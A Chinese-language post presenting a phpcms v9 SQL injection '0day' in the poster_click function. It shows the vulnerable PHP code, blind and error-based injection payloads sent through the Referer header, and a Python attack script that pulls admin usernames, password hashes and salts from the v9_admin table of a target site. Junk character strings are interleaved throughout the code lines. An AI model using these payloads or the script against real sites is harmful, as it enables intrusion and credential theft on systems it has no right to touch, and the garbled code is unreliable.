phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
/ l( P  U- {& c
问题函数\phpcms\modules\poster\index.php
: `% C' g0 G) p. |0 J: v' ?1 \
* F% m* r: D  S9 \  D" [. _public function poster_click() {
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
$r = $this->db->get_one(array('id'=>$id));
if (!is_array($r) && empty($r)) return false;
$ip_area = pc_base::load_sys_class('ip_area');
$ip = ip();
  Y+ q9 d6 a9 x+ v& R% `$area = $ip_area->get($ip);
* {# t/ W" O4 p+ K5 s$ |$username = param::get_cookie('username') ? param::get_cookie('username') : '';
* f* B2 W- e; L8 Z$ @; P) i5 Nif($id) {
, `) _6 M) \: ~8 m+ f) s( r5 u$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
6 p7 ^: K6 Y# h: J+ W% {* H$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
9 v; G3 Z9 d" j}
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
6 `9 K) S* f7 W( x1 ~) j$setting = string2array($r['setting']);
if (count($setting)==1) {
5 W9 [* R+ R; P: `! N$url = $setting['1']['linkurl'];
} else {
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
}
1 }# F% m' N: s! K; p; r4 {header('Location: '.$url);
; f. `+ U9 `9 `6 [* }- v! V}

& K! f- S4 b/ t- A) v% F

6 x( @# I+ ?$ Y2 h利用方式：

1、可以采用盲注入的手法：

referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#

( I6 Z* J3 u5 e. a" `通过返回页面，正常与否一个个猜解密码字段。
9 x2 B" ?6 ^: k. c
' l, U( d4 M7 ^: G- r2、代码是花开写的，随手附上了：

- e! u9 h1 b  ~( J2 I1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#

$ S- d; F1 w) O' l此方法是爆错注入手法，原理自查。
6 ~7 C& s8 u& m, M( H
' l9 {& }/ w6 F% p% w& H3 c# o
2 _2 h5 ^; e% E/ Q/ c2 Y7 c
( L9 J0 @, U9 a% i利用程序:
+ n' y9 _+ Q; E1 E6 A
#!/usr/bin/env python
- M) f3 @, ?6 \6 @, B& \+ limport httplib,sys,re
, O0 _( x5 R: h$ P: b
1 D" O6 X! ~, K4 Ldef attack():
! W' c0 T4 m1 yprint “Code by Pax.Mac Team conqu3r!”
' D; e9 r- E; ?$ c$ uprint “Welcome to our zone!!!”
url=sys.argv[1]
paths=sys.argv[2]
conn = httplib.HTTPConnection(url)
i_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,
1 p! V/ x# t& L$ G4 e: u9 ~! W“Accept”: “text/plain”,
. R2 k8 W. I+ e! b“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}
( }1 [" f) Q* ~7 Econn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)
# m6 B* Z) Z* r3 G) Xr1 = conn.getresponse()
3 N( ?, t0 D+ m& bdatas=r1.read()
! X3 S. h, e* }6 Odatas=re.findall(r”Duplicate entry \’\w+’”, datas)
: ^9 s2 [& }* V* R' \! s; Wprint datas[0]
conn.close()
; ]/ `9 z6 u4 q8 k) `if __name__==”__main__”:
% Y* A2 L  l0 T, Z8 |if len(sys.argv)<3:
% D( }# Z+ s- m+ gprint “Code by Pax.Mac Team conqu3r”
print “Usgae:”
print “    phpcmsattack.py   www.paxmac.org /”
print “    phpcmsataack.py   www.paxmac.org /phpcmsv9/”
sys.exit(1)
attack()